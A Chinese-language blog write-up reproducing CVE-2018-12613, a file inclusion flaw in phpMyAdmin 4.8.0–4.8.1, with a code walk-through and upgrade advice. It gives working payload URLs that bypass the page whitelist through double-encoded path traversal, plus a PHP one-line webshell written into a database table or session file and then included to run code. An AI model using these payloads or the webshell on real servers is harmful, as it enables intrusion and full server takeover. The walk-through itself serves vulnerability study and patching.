CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

0x01 了解本地文件包含

LFI(本地文件包含),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

0x02 了解远程代码执行

RCE(远程代码执行),远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

0x03 漏洞影响版本

  • Phpmyadmin Phpmyadmin 4.8.0
  • Phpmyadmin Phpmyadmin 4.8.0.1
  • Phpmyadmin Phpmyadmin 4.8.1

0x04 了解PHPmyadmin

phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。 phpMyAdmin 4.8.2之前的4.8.x版本中存在安全漏洞。攻击者可利用该漏洞包含(查看并可能执行)服务器上的文件。

0x05 漏洞起因

index.php,61行
在这里插入图片描述
这里的target可以直接传值输入,我们可以传入一个本地文件路径去让其包含,就会造成LFI漏洞。
要想成功包含target,需要满足五个条件:

  • 非空
  • 是字符串
  • 不以index开头
  • 不在黑名单target_blacklist
  • 符合函数checkPageValidity的验证
    接下来跟进checkPageValidity函数
    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行
    在这里插入图片描述
    可以看到,要想使该函数返回true,包含的文件必须包含在白名单$whitelist中,
    下面是白名单$whitelist的内容:
    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,31行
    在这里插入图片描述
    所以只要包含其中之一即可。
    第一个返回true的地方,page参数未做任何修饰,直接验证是否在白名单whitelist中,无法利用
    在这里插入图片描述
    第二个返回true的地方,
    在这里插入图片描述
    函数mb_substr说明
    在这里插入图片描述
    函数mb_strpos说明
    在这里插入图片描述
    即判断?后面的字符串是否满足白名单,那么我们是否可以利用跨路径来包含文件呢?比如xxx.php?/../../../,(这里的xxx.php当然指的就是上面提到的白名单$whitelist的内容),回答是不能的,因为在PHP中会把?后面的内容作为文件xxx.php中的参数,因此不能绕过。
    第三个返回true的地方,
    在这里插入图片描述
    与第二处的区别就是多了urldecode函数,问题就出在这里了。
    上面提到的导致不能绕过白名单的原因就是的缘故,所以这里用url全编码方式对进行编码就可以绕过。
    payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?target=db_datadict.php%25%33%66/../../../../../../../../../windows/system.ini
    在这里插入图片描述
    include $_REQUEST[‘target’];
    就变成
    include ‘export.php%3f/../../../../../../../../../windows/system.ini'

0x06 利用方式

0x01 利用数据库创建shell

测试发现,如果把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的。
登录phpmyadmin,在test数据库新建一个数据表,字段为一句话木马:

<?php @eval($_GET['s']);?>

保存。
在这里插入图片描述
查询生成文件的绝对路径
show variables like '%datadir%';
在这里插入图片描述
查看生成的.frm文件,shell已经成功写入
在这里插入图片描述

利用本地文件包含去包含/bin/mysql/data/test/shell.frm文件即可RCE。
payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../bin/mysql/mysql5.7.21/data/test/shell.frm
s为一句话木马的连接密码,
可以看到,RCE已经成功。

在这里插入图片描述

0x02 利用session文件创建shell

执行sql语句,查看session
在这里插入图片描述
生成的session文件
在这里插入图片描述

执行payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../tmp/sess_bv6e61104hvbsbkebdoikk3ke0c0er5k,成功执行
在这里插入图片描述

0x07 修复建议

  1. 升级版本;
  2. checkPageValidity函数返回false
    index.php,59
    在这里插入图片描述
    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行
    在这里插入图片描述

0x08 参考文章

  1. https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
  2. http://www.hetianlab.com/expc.do?ce=d223c7ad-cb9a-461d-bf5c-9ebd4a2f7614
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值